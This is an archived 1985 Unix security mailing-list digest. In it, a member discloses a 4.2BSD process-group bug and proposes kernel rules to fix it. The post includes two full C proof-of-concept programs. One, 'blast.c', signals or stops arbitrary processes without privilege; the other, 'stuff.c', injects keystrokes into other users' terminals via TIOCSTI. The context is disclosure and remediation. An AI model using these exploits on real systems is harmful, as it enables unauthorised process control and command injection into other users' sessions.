|
|
ARCHIVE: Unix 'Security Mailing List' - Archives (1984 - 1987)
DOCUMENT: Unix 'Security Mailing List' #8 1985-03-06 (1 file, 3095 bytes)
SOURCE: http://securitydigest.org/exec/display?f=unix/archive/008.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.
START OF DOCUMENT
Date: 6 Mar 1985 2307-MST (Wednesday)
Subject: Security Mailing List, # 8
----------------------------------------------------------------------------
Editor's corner
Cupboard must be getting a little bare out there. Are we out of
topics, or is my mail getting fouled up again?
Newcomers to the list since last issue:
George Rosenberg (george@idis)
Peter Gross (pag@hao)
Debra Wilson (root@idis)
----------------------------------------------------------------------------
Date: Fri, 1 Mar 85 17:10:21 pst
From: ihnp4!nsc!chongo (Landon C. Noll)
Subject: process group bugs
There is a major bug in 4.2 which allows you to set your process group
and your terminal process group to any value you like. This results in
several nasty security features:
1) you can send a signal to any process group (which as kill -9)
which in turn can send the signal to any process. say stop
your favorite security daemon, bother init (being the system
down to single user?) and so on...
2) you can stuff characters into any tty which is writable.
most logged off ttys are writable, and since most people
dont set mesg off, this means most ttys.
3) secure tty (prevent root logins except at a few ttys) can
be worked around by stuffing a unused (normally writable)
port with your root login.
4) usw.
The fix is simple: restruct the values to which a process and terminal
process group can be set and alter values to which detached processes
get set to. Sys V allows you to only set them to the value equal to
your pid, but this is not Standard Berkeley Unix. :-) One needs to set them
to other values due to things like cshell and job control. After looking
over existing 4.1BSD and 4.2BSD code, the following rules would allow
all existing distribution progs to work, and plug up the bug at the
same time. These rules apply for both the process group value and the
terminal process group value:
- Any superuser process can set to any value
- Only the superuser may set to value = 0
- Only the superuser and a detached job may
set to value=1
- Detached process values must be set to 1 (init runs under value=0)
- Non-superuser processes may set to a value
equal to the value of the pid of the following:
= itself
= direct descendent (child, grand-child, etc.)
= direct ancestor (parent, grand-parent)
as long as it is not the value 0 or 1
The mods to the kernel are simple, but your need a source lic. to do
them. Binary sites are out of luck in the matter!!!
Here are the progs which show the problems:
The following program allows you to send a nasty signal (quit, intr,...)
to any process (such as 1 or your favorite former boss' rogue game <chuqui>) :-)
-----------------------------cut by hand for blast.c---------------------
/*
* Blast: program to kill, core dump, or stop other programs, even without
* the usual privileges. Shows off bugs involving process group handling.
* David I. Bell. (alias DBell)
*/
#include <sgtty.h>
#include <stdio.h>
main(argc, argv)
char **argv;
{
register char *str; /* argument */
register char *cp; /* character to type */
register int pid; /* pid to blast */
int pgrp; /* his process group */
struct sgttyb sb; /* old and new tty flags */
struct sgttyb nsb;
struct tchars tc; /* tty chars */
struct ltchars lc;
if (argc < 2) {
fprintf(stderr, "usage: blast [-ksd] pid ...\n");
exit(1);
}
ioctl(0, TIOCGETP, &sb); /* turn off echoing */
nsb = sb;
nsb.sg_flags &= ~ECHO;
ioctl(0, TIOCSETN, &nsb);
if (ioctl(0, TIOCGETC, &tc)) { /* get our tty chars */
perror("getc");
goto done;
}
if (ioctl(0, TIOCGLTC, &lc)) { /* and local chars */
perror("lgetc");
goto done;
}
argv++;
cp = &tc.t_intrc; /* default is kill */
sigsetmask(-1); /* save ourselves */
while (argc-- > 1) {
str = *argv++;
if (*str == '-') { /* an option */
switch (str[1]) {
case 'k': /* kill process */
cp = &tc.t_intrc;
break;
case 's': /* stop process */
cp = &lc.t_suspc;
break;
case 'd': /* dump process */
cp = &tc.t_quitc;
break;
default: /* illegal */
fprintf(stderr, "bad option\n");
goto done;
}
continue;
}
pid = 0;
while (*str) { /* read pid number */
pid = pid * 10;
if ((*str < '0') || (*str > '9')) {
fprintf(stderr, "bad number\n");
goto done;
}
pid += (*str++ - '0');
}
pgrp = getpgrp(pid); /* get victim's process group */
if (pgrp < 0) {
perror("getpgrp");
goto done;
}
if (ioctl(0, TIOCSPGRP, &pgrp)) { /* set tty process group */
perror("ttyspgrp");
goto done;
}
if (setpgrp(0, pgrp)) { /* set my own process group */
perror("spgrp");
goto done;
}
if (ioctl(0, TIOCSTI, cp)) { /* stuff the char on my tty */
perror("sti");
goto done;
}
}
done: ioctl(0, TIOCSETN, &sb); /* reset echoing */
}
-----------------------------end of cut of blast.c-----------------------
The following program will allow you to stuff characters into any terminal
which you can open for write:
-----------------------------cut by hand for stuff.c---------------------
/*
* Stuff: program to stuff input into another terminal. David I. Bell. (DBell)
* This program bypasses the normal superuser check for stuffing chars
* into other people's terminals. All you need is write permission on
* the user's terminal.
*/
#include <sgtty.h>
#include <stdio.h>
main(argc, argv)
char **argv;
{
register int fd; /* file descriptor */
char ch; /* current character */
char name[100]; /* tty name */
struct sgttyb sb; /* old and new tty flags */
struct sgttyb nsb;
if (argc < 2) {
fprintf(stderr, "stuff ttyname\n");
exit(1);
}
argv++;
if (**argv == '/') strcpy(name, *argv); /* build full name */
else sprintf(name, "/dev/%s", *argv);
if (setpgrp(0, 0)) { /* clear my process group */
perror("spgrp");
goto done;
}
if (open(name, 1) < 0) { /* open tty, making it mine */
perror(name);
exit(1);
}
fd = open("/dev/tty", 2); /* open read/write as tty */
if (fd < 0) {
perror("/dev/tty");
exit(1);
}
ioctl(0, TIOCGETP, &sb); /* go to raw mode */
nsb = sb;
nsb.sg_flags |= RAW;
nsb.sg_flags &= ~ECHO;
ioctl(0, TIOCSETN, &nsb);
sigsetmask(-1); /* stop hangups */
printf("Connected. Type ^B to exit\r\n");
while (1) { /* stuff them chars */
if (read(0, &ch, 1) <= 0) break;
if ((ch & 0x7f) == '\002') break;
if (ioctl(fd, TIOCSTI, &ch)) { /* stuff char on "his" tty */
perror("\r\nsti failed\r");
goto done;
}
ch &= 0x7f; /* echo it for me */
if (ch < ' ') {
if ((ch == '\r') || (ch == '\n')) {
write(1, "\r\n", 2);
continue;
}
ch += '@';
write(1, "^", 1);
write(1, &ch, 1);
continue;
}
if (ch == '\177') {
write(1, "^?", 2);
continue;
}
write(1, &ch, 1);
}
done: ioctl(0, TIOCSETN, &sb); /* reset tty */
}
-----------------------------end of cut of stuff.c----------------------
chongo <hack! hack! hack!> /\$$/\
---
Lome tiranar? Ash Urnikx arda! Ash thrakatuluk krimpatul!
----------------------------------------------------------------------------
The UNIX security issues mail list
Ignore the headers on this list and mail to:
...denelcor!security (mail for the list).
...denelcor!sec-request (administrativia).
END OF DOCUMENT
| ISSN 1742-948X 01 (Online) | 2005/03/01 | Copyright 2002-2008 securitydigest.org. All rights reserved. |